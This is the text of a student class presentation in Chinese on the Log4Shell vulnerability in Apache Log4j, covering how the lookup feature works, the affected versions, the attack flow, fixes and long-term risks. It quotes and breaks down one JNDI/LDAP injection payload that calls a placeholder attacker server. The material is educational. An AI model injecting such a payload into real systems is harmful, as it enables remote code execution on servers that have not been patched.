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世紀最大資安漏洞



Log4Shell



研究動機&目的

我們是透過組員的介紹認識 log4j, log4shell
初步了解後意識到它的重要性，就訂他為研究專題

在研究過程中了解到漏洞成因、攻擊手法、修復方式

而將如此巨大的漏洞介紹給大家是我們的目的。
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Start Up



用攝影機來比喻

● 裝在商店裡的攝影機

● 特殊的圖像辨識功能



● 裝在商店裡的攝影機：網站中的log4j
● 特殊的圖像辨識功能：特定指令的文字

用攝影機來比喻



重點：

1. log4j 是拿來記錄對於
網站的那些請求

2. 只要紀錄特定格式的
文字，就會觸發一個功
能可以執行程式碼

● 裝在商店裡的攝影機：網站中的log4j
● 特殊的圖像辨識功能：特定指令的文字

用攝影機來比喻



What is Log4j



記錄所有請求的

日誌系統

What is Log4j
● Apache Log4j，一種 Java 編寫的 log (日誌) 套件

log

lookup 查詢功能 產生

漏洞問題→Log4Shell

偵測到特定語法 ${ XXX }並執

行

● Function：

出事時可盤查紀錄，盡

可能還原當初狀況

lof4j全名為apache log4j，為一種java編寫的log套件
功能含有
log
lookup  查詢功能 為產生log4shell的源頭
偵測到特定與法及執行內容指令

裝在商店裡的攝影機記錄店內情況，
內建特殊功能在偵測到特定語法集會執行 內容指令
而攝影機就如網站上的 log4j
偵測到左上指令及執行關機



 What is Log4Shell



 What is Log4Shell

事件 : 2021年底在 log4j 找到的漏洞

危害：可以產生RCE

影響範圍：使用 log4j 2.0 -> 2.14.1 的java系統



Log4shell是如何被攻擊 ?

輸入特定
格式呼叫

lookup

騙系統下
載惡意  
Class

遠端操
控



How it works



如何針對  Log4Shell 漏洞進行攻擊

• log 紀錄使用者和伺服器的動作，有任何風吹草動 
server 都會用 log 做紀錄

• 直接舉個例子：在Minecraft玩多人遊戲的時候，聊天室

傳的訊息都會被伺服器 log 記錄下來

• 在聊天室打 payload ，管理 log 的 log4j 就會讀到



Payload 如何運作

${jndi:ldap://AttackerServer:port/Exploit}

• ${ } 呼叫 lookup 
• jndi:ldap:// 使用 ldap 協議訪問 Attacker's Server
• AttackerServer:port/   Attacker's Server 的路徑 
• Attacker's Server 指定訪問的目的地



LAB







How to fix it



更新它。



一些自己維護的手段

• 將 Property 中的 log4j2.formatMsgNoLookups 設為 true

• 移除 JNDI

官方補包呢？



#1 官方補包

前情：
Java 在需要工具時會向外搜尋 Class 下載
log4shell Attacker 會在提供的 Class 寫入後門

修補方式：關閉系統從外部下載 Class 的能力

經由 lookup
呼叫

JNDI:LDAP

從外下載 
Class
遭擋下

訪問
Attacker’s 

Server
進入 log



#1官方補包

補包關閉了系統從外下載工具的能力
那...駭客可以將其打開嗎？

整個過程中，”解析 log 內容” 跟 “訪問 Attacker’s Server”
都沒有被禁止

透過各種方式或媽祖托夢，駭客有方法把能力打開
一但打開，就能以一樣的方式攻擊。



#N 官方大補包

• 默認關閉 JNDI

• 完全禁止 log 呼叫 lookup

所以 log4shell 災難沒了(?)



NO



It was the best of times.

It was the worst of log4j.



長遠的影響

舉例來說

A 伺服器在修復漏洞前就被埋入後門

B 伺服器是一個無人維護，但仍在服務中的網站

那他們依舊會因為 log4shell 及其相關產物受到攻擊。



誒？

等等

前面都是討論 log4j 2.x 版本

那 log4j 1.x 版本呢？

所以這是一個只有 log4j 2.x 受到傷害的世界？

log4j 1.x 沒有內建 lookup 功能

但有個東西叫 JMSAppender，它會提供 JNDI lookup 功能

所以只要系統有使用它

那 log4shell 的攻擊也會對其造成傷害



可憐的往日  log4j

結論我們發現，<= log4j 2.14.1 的版本
仍舊有機會存在 log4shell 漏洞

且有些開發者會為了特定版本的方便性
而刻意不更新
這些都使 log4shell 的壽命被拉長

例：你永遠不會知道麥X勞的自動點餐機是不是使用 log4j 2.0



結語

對 log4shell 漏洞攻擊的方法，是上課教到的 Injection
不論是 Injection 、誘導系統執行指令、RCE
這次課程對於研究過程有很大幫助

研究也使我們認識了這個不可不知的資安事件

也讓我們更了解 Injection 
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工作分配

• 劉俐妍：Start Up, Powerpoint Design

• 朱芊叡：What is Log4j

• 林宗翰：What is Log4shell

• 王薪淮：How It Works

• 林晉宇：LAB, How to Fix It / Long-term Impact

• 宋睿軒：How to Fix It / Long-term Impact



Log4j is looking at you.


